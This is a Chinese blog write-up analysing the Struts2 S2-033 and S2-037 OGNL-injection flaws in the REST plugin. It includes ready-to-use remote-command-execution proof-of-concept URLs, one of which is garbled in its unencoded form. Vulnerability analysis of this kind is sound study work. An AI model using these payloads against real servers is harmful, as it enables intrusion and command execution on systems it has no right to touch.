S2-033S2-037

Posted jinqi520

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了S2-033S2-037相关的知识,希望对你有一定的参考价值。

前言

    S2-033漏洞和S2-032类似,也是由于开启了动态方法调用,action mapper中的执行的方法名可控,导致了ognl表达式注入。

正文

    Rest插件中获取action mapper是用的RestActionMapper.getMapping()

技术图片

    其实逻辑和DefaultActionMapper中的差不多,也是用handleDynamicMethodInvocation方法来判断是否开启了动态方法调用然后截取!后面的字符串作为action method name

技术图片

    其实没什么好分析的,只是由于时rest风格的请求,poc和以前有些区别,

    首先在正式解析uri前会先对uri的后缀做校验,只能时“json”、“xml”、“xhtml”和空

技术图片

所以我们的poc后面需要加上后缀,如果不加由于poc中本身带有.号,以S2-032的poc为例

技术图片
这样Struts2会认为后缀是“.tostring”,这样后面的流程会有问题
localhost:8088/orders/3!%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%2c%23process%3d%40java.lang.Runtime%40getRuntime().exec(%23parameters.command%5b0%5d)%2c%23ros%3d(%40org.apache.struts2.ServletActionContext%40getResponse().getOutputStream())%2c%40org.apache.commons.io.IOUtils%40copy(%23process.getInputStream()%2c%23ros)%2c%23ros.flush()%2c%23xx%3d123%2c%23xx.toString.json?command=ipconfig

 

 

技术图片

    另外S2-032中使用的是method:S2-033中是不能这样的,原因是虽然我们再Struts.xml中配置了开启动态方法调用的常量为true,要想method:参数起作用需要DefaultActionMapper的allowDynamicMethodCalls参数为true,但是我们前面说了rest插件是使用的RestActionMapper类来getmapping的,也就是说RestActionMapper的allowDynamicMethodCalls为true,而DefaultActionMapper的allowDynamicMethodCalls参数依然为false(这里有点不好表达,说白了就是rest插件不让使用method:我是这样理解的)

技术图片

S2-037

    S2-037是S2-033的一个绕过,不需要开启动态方法调用就可以进行rce。RestActionMapper类的getmapping比DefaultActionMapper中多了后面一部分,也就是rest插件支持actionName/id/methodName这种方式解析uri,且并不用开启动态方法调用。

技术图片

直接给出poc吧(需要url编码):
/orders/3/#[email protected]@DEFAULT_MEMBER_ACCESS,#[email protected]@getRuntime().exec(#parameters.command[0]),#ros=(@[email protected]().getOutputStream()),@org.apache.commons.io[email protected](#process.getInputStream(),#ros),#ros.flush(),#xx=123,#xx.toString.json?command=whoami

/orders/3/%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%2c%23process%3d%40java.lang.Runtime%40getRuntime().exec(%23parameters.command%5b0%5d)%2c%23ros%3d(%40org.apache.struts2.ServletActionContext%40getResponse().getOutputStream())%2c%40org.apache.commons.io.IOUtils%40copy(%23process.getInputStream()%2c%23ros)%2c%23ros.flush()%2c%23xx%3d123%2c%23xx.toString.json?command=whoami

技术图片

参考文章

https://www.jianshu.com/p/5c6958342949

https://blog.csdn.net/wyvbboy/article/details/51697909

https://cwiki.apache.org/confluence/display/WW/S2-033

以上是关于S2-033S2-037的主要内容,如果未能解决你的问题,请参考以下文章

S2-052 漏洞复现

紧急预警:Struts2 S2-033最新高危漏洞官方修复方案不完整

Struts S2-052漏洞利用方式实验解析(附EXP)

Struts2命令执行各版本记录